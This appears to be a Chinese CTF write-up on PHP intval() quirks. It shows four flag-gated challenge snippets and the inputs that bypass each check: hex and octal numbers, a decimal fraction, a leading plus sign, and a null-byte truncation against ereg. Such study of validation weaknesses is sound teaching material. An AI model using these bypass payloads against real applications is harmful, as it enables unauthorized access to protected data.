PHP特性:数字专题-论数字到底有多少种相同而又不同的写法
第一大功臣当属:intval函数
先对该函数进行介绍:
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
如果字符串以 “0” 开始,使用 8 进制(octal);
否则,10进制
16进制绕过
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
?num=0x117c
?num=010574 (八进制绕过)
小数点绕过
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
*本题需要满足两个条件构造payload:
1.小数方式,因为Intval只检测整数部分
2.payload中必须出现数字0
使用payload:?num=4476.01
符号绕过
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
用八进制过第一、二个判断,用+过第三个判断(开头不能是0),同时+还可以识别完原数。
?num=+010574
intval截断漏洞绕过
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } ?>
需要了解两个函数:
strrev() 字符串反转
intval() 获取变量的整数值
payload:c=a%00778
第一个if很有意思,拿出来单独分析一下:
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); }
用中文直白点翻译就是:
if((匹配到字母)为假){
结束并输出error}
那么这个匹配到字母这个条件为假的含义其实就是说
必须得匹配到字母,所以我们才会在前面添加一个字母a
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
(进制转换的时候记得把0x去掉)